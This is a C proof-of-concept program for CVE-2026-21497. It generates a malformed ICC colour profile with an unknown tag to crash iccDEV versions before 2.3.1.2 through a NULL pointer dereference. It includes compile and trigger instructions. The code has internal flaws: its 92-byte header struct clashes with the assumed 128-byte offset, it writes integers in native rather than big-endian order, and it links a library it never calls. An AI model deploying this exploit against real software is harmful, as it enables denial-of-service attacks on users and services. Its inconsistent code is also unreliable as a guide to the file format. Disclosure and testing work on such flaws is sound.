/*
* CVE-2026-21497 PoC - iccDEV NULL Pointer Dereference
* This PoC generates a malicious ICC profile with an unknown tag
* that triggers NULL pointer dereference in iccDEV < 2.3.1.2
*
* Usage: compile with iccDEV library and run
* gcc -o poc poc.c -liccDEV
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/* ICC Profile Header Structure */
typedef struct {
char size[4]; /* Profile size */
char cmm_type[4]; /* CMM type */
char version[4]; /* Profile version */
char device_class[4]; /* Device class */
char color_space[4]; /* Color space */
char pcs[4]; /* PCS */
char date[12]; /* Creation date */
char signature[4]; /* 'acsp' */
char platform[4]; /* Primary platform */
char flags[4]; /* Profile flags */
char manufacturer[4]; /* Device manufacturer */
char model[4]; /* Device model */
char attributes[4]; /* Device attributes */
char rendering_intent[4]; /* Rendering intent */
char illuminant[12]; /* PCS illuminant */
char creator[4]; /* Profile creator */
char profile_id[16]; /* Profile ID */
} ICC_Header;
/* Tag Table Entry */
typedef struct {
char signature[4]; /* Tag signature */
char offset[4]; /* Offset to tag data */
char size[4]; /* Tag data size */
} TagEntry;
void create_malicious_icc_profile(const char* filename) {
FILE *fp = fopen(filename, "wb");
if (!fp) {
printf("[-] Failed to create file\n");
return;
}
/* Initialize header */
ICC_Header header = {0};
/* Set profile size (will be updated) */
*(unsigned int*)header.size = 0x00000200; /* 512 bytes */
/* Set version to 2.3 */
*(unsigned int*)header.version = 0x02300000;
/* Set device class and color space */
memcpy(header.device_class, "mntr", 4); /* Monitor */
memcpy(header.color_space, "RGB ", 4);
memcpy(header.pcs, "Lab ", 4);
memcpy(header.signature, "acsp", 4);
/* Write header */
fwrite(&header, sizeof(ICC_Header), 1, fp);
/* Write tag count */
unsigned int tag_count = 1;
fwrite(&tag_count, 4, 1, fp);
/* Create malicious tag entry with unknown signature */
TagEntry tag = {0};
memcpy(tag.signature, "XXXX", 4); /* Unknown tag - triggers vulnerability */
*(unsigned int*)tag.offset = 128 + sizeof(TagEntry) * tag_count;
*(unsigned int*)tag.size = 12;
fwrite(&tag, sizeof(TagEntry), 1, fp);
/* Write padding */
char padding[256] = {0};
fwrite(padding, 256, 1, fp);
fclose(fp);
printf("[+] Malicious ICC profile created: %s\n", filename);
printf("[+] Unknown tag signature 'XXXX' will trigger NULL pointer dereference\n");
}
int main(int argc, char* argv[]) {
const char* output_file = "malicious_profile.icc";
if (argc > 1) {
output_file = argv[1];
}
printf("[*] Generating PoC for CVE-2026-21497\n");
printf("[*] Target: iccDEV < 2.3.1.2\n");
printf("[*] Vulnerability: NULL Pointer Dereference in tag parser\n");
create_malicious_icc_profile(output_file);
printf("[+] PoC generated successfully\n");
printf("[+] To trigger: Load this ICC profile using vulnerable iccDEV version\n");
return 0;
}